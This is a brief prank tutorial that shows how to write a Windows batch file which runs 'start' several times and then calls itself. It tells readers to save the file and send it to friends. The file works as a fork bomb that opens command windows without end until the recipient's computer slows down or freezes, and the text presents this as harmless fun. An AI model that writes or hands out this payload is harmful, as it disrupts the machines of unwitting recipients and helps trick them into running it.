You can make fun with your friends.
1. Open Notepad.
2. Type "start" 4 to 5 times without quote.
3. Then type "start.bat" without quote.
4. Save file as "anything.bat" (Here Anything is any name you want.)
5. Now send it to your friends.
Example:-
--------------
start
start
start
start
start
start.bat
